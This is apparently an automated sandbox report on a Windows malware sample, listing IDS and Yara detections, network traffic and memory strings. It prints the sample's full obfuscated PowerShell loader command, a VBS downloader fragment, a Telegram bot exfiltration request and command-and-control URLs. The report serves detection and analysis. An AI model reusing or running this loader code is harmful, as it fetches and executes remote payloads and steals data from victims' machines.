Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJIO2JaTmVuZEZsYWcgPSBSckg8PEJBU0U2NF9FTkQ+PlJySDtiWk5zdGFydEluZGV4ID0gJysnYlpOaW1hZ2VUZXh0LkluZGV4T2YoYlpOc3RhcnRGbGFnKTtiWk5lbmRJbmRleCA9IGJaTmltYWdlVGV4dC5JbmQnKydleE9mKGJaTmVuZEZsYScrJ2cpO2JaTnN0YXJ0SW5kZXggLWdlIDAgLWFuZCBiWk5lbmRJbmRleCAtZ3QgYlpOc3RhcicrJ3RJbicrJ2RlJysneDtiWk5zdGFydEluZGV4ICs9IGJaTnN0YXJ0RmxhZy5MZW5ndGg7YlpOYmFzZTY0TCcrJ2VuZ3RoID0gYlpOZW5kSW5kZXggJysnLSBiWk5zdGFyJysndEluZGV4O2JaTmJhc2U2NENvbW1hbmQgPSBiWk5pbWFnJysnZVRleHQuU3Vic3RyaScrJ25nKGJaTnN0YXJ0SW5kZXgsIGJaTmJhc2U2NExlbmd0aCk7YlpOYmFzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoYlpOYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFpBUiBGb3JFYWNoLU9iamVjdCB7IGJaTl8gJysnfSlbLTEuLi0oYlpOYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtiWk5jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGJaTmJhc2U2JysnNFJldmVyc2VkKTtiWk5sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoYlpOY29tJysnbWFuZEJ5dGVzKTtiWk52YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFJySFZBSVJySCk7YlpOdmFpTWV0aG9kLkludm9rZShiWk5udWxsLCBAKFJySHR4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbCcrJ29yLnN1cC8vOnB0dGhSckgsIFJySGRlc2F0aXZhZG9SckgsIFJyJysnSGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG8nKydScicrJ0gsIFJySDFSckgsIFJySHN2Y2hvc3RSckgsIFJySGRlc2F0aXYnKydhZG9SckgsIFJySGRlc2F0JysnaXZhZG9SckgsUnJIZGVzYXRpJysndmFkb1JySCxSckhkZXNhdGl2YWRvUnJILFJySGRlc2F0aXZhZG9SckgsUnJIMVJySCxSckhkZXNhdGl2YWRvUnJIKSk7JyktQ1JlcExBQ2UgKFtjSEFyXTgyK1tjSEFyXTExNCtbY0hBcl03MiksW2NIQXJdMzkgIC1yRVBsQUNFKFtjSEFyXTk4K1tjSEFyXTkwK1tjSEFyXTc4KSxbY0hBcl0zNiAtQ1JlcExBQ2UnWkFSJyxbY0hBcl0xMjQpIHwgLiAoICRwU2hvTWVbNF0rJFBzaG9NRVszNF0rJ1gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJI

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T08:06:10.713238+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.7	49738	TCP
2024-11-12T08:06:50.486130+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.7	49967	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T08:05:54.862778+0100	2028371	3	Unknown Traffic	192.168.2.7	49701	188.114.97.3	443	TCP

ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T08:06:05.081146+0100	2049038	1	A Network Trojan was detected	142.215.209.78	443	192.168.2.7	49702	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T08:06:27.678983+0100	2803305	3	Unknown Traffic	192.168.2.7	49834	188.114.97.3	443	TCP
2024-11-12T08:06:36.170446+0100	2803305	3	Unknown Traffic	192.168.2.7	49887	188.114.97.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T08:06:23.852518+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49810	132.226.8.169	80	TCP
2024-11-12T08:06:26.977566+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49810	132.226.8.169	80	TCP
2024-11-12T08:06:28.696339+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49840	132.226.8.169	80	TCP
2024-11-12T08:06:30.696344+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49852	132.226.8.169	80	TCP

ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T08:05:47.747037+0100	2858295	1	A Network Trojan was detected	141.98.10.88	80	192.168.2.7	49798	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://pus.rollerswpush.eu/olk/SWSSL.txt

Avira URL Cloud: Label: malware

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49828 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.215.209.78:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49932 version: TLS 1.2

Source:

Binary string: _.pdb source: svchost.exe, 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp

Spreading

Yara detected VBS Downloader Generic

Source: Yara match

File source: C:\Users\user\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs, type: DROPPED

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then jmp 090F2834h	13_2_090F2580
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then jmp 090F3206h	13_2_090F2DE8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then jmp 090FFAECh	13_2_090FF840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then jmp 090FCF7Ch	13_2_090FCCD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then jmp 090F0D0Fh	13_2_090F0B30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then jmp 090F1699h	13_2_090F0B30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then jmp 090FD3D4h	13_2_090FD128
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then jmp 090F3206h	13_2_090F3134
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then jmp 090FD82Ch	13_2_090FD580
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then jmp 090F3206h	13_2_090F2DDE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then jmp 090FDC84h	13_2_090FD9D8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	13_2_090F0040
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then jmp 090FEDE4h	13_2_090FEB38
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then jmp 090FF23Ch	13_2_090FEF90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then jmp 090FF694h	13_2_090FF3E8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then jmp 090FE0DCh	13_2_090FDE30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then jmp 090FE534h	13_2_090FE288
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then jmp 090FE98Ch	13_2_090FE6E0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2858295 - Severity 1 - ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain) : 141.98.10.88:80 -> 192.168.2.7:49798
Source: Network traffic	Suricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 142.215.209.78:443 -> 192.168.2.7:49702

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 132.226.8.169 80	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 149.154.167.220 443	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 188.114.97.3 443	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 141.98.10.88 80	Jump to behavior

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: paste.ee

Potential malicious VBS script found (has network functionality)

Source:

Initial file: pwIcPqgEJyAcJzJhPk = jOin(pwIcPqgEJyAcJzJhPk, "") : SEt XRLrSIMVwmufItMblS = cREATEObJeCt(VrqxcLYwEZPiSSrxIQ) : XRLrSIMVwmufItMblS.TyPe = 1 : XRLrSIMVwmufItMblS.opEN : WIth cReatEOBJEct(VrqxcLYwEZPiSSrxIQ) : .Type = rtrGYovpDVHCgzsoAN : .OPeN : .wrItetExt pwIcPqgEJyAcJzJhPk : .pOSiTiOn = rtrGYovpDVHCgzsoAN : .COPYto XRLrSIMVwmufItMblS : .ClOse : enD WItH : XRLrSIMVwmufItMblS.sAvetOFIlE AsXijgAnYVapqEYINW, rtrGYovpDVHCgzsoAN : XRLrSIMVwmufItMblS.clOsE : seT XRLrSIMVwmufItMblS = nOtHING : EnD suB : fUnCtIon zyfJZGdTAeTdtxgAGj ( BYVAL UyyYSlBcgjIWVLzpBc ) : DIM CGlkqDbgPDRxPTmyml , JZxCRwIFTWKnVeyrLR : SeT CGlkqDbgPDRxPTmyml = CreATeobjEct ( "MsxmL2.DomDOcumeNT.3.0" ) : SEt JZxCRwIFTWKnVeyrLR = CGlkqDbgPDRxPTmyml.cReAteElEmENt ( "bAse64" ) : JZxCRwIFTWKnVeyrLR.daTatyPE = "biN.basE64" : JZxCRwIFTWKnVeyrLR.text = UyyYSlBcgjIWVLzpBc : zyfJZGdTAeTdtxgAGj = WXTSIjpCYwmTLnUUef ( JZxCRwIFTWKnVeyrLR.NoDeTypedVaLue ) : sET JZxCRwIFTWKnVeyrLR = nOtHing : sEt CGlkqDbgPDRxPTmyml = nOthinG : end FuNCtioN

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 13.2.svchost.exe.7990f20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7d50000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.7990000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.3374f2e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.svchost.exe.326ff20.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.svchost.exe.326f000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Source: global traffic	HTTP traffic detected: GET /api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f HTTP/1.1Host: 1017.filemail.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:936905%0D%0ADate%20and%20Time:%2012/11/2024%20/%2022:16:40%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20936905%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /olk/SWSSL.txt HTTP/1.1Host: pus.rollerswpush.euConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /swsk/P4.php HTTP/1.1Content-Type: text/plain; charset=utf-8Host: sws.swpushroller.euContent-Length: 1432Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View	IP Address: 142.215.209.78 142.215.209.78

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49701 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49810 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49840 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49852 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.7:49738
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49834 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49887 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.7:49967

Source: global traffic	HTTP traffic detected: GET /d/LOToW HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-CHUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: paste.ee
Source: global traffic	HTTP traffic detected: GET /d/LOToW HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-CHUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: paste.ee
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49828 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /d/LOToW HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-CHUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: paste.ee
Source: global traffic	HTTP traffic detected: GET /api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f HTTP/1.1Host: 1017.filemail.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:936905%0D%0ADate%20and%20Time:%2012/11/2024%20/%2022:16:40%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20936905%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/LOToW HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-CHUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: paste.ee
Source: global traffic	HTTP traffic detected: GET /olk/SWSSL.txt HTTP/1.1Host: pus.rollerswpush.euConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: paste.ee
Source: global traffic	DNS traffic detected: DNS query: 1017.filemail.com
Source: global traffic	DNS traffic detected: DNS query: pus.rollerswpush.eu
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: sws.swpushroller.eu

Source: unknown

HTTP traffic detected: POST /swsk/P4.php HTTP/1.1Content-Type: text/plain; charset=utf-8Host: sws.swpushroller.euContent-Length: 1432Connection: Keep-Alive

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 12 Nov 2024 07:06:43 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: svchost.exe, 0000000D.00000002.2565948471.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: svchost.exe, 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: svchost.exe, 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.00000000053F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: svchost.exe, 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.00000000053F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: svchost.exe, 0000000D.00000002.2565948471.00000000053F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: svchost.exe, 0000000D.00000002.2565948471.00000000053F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
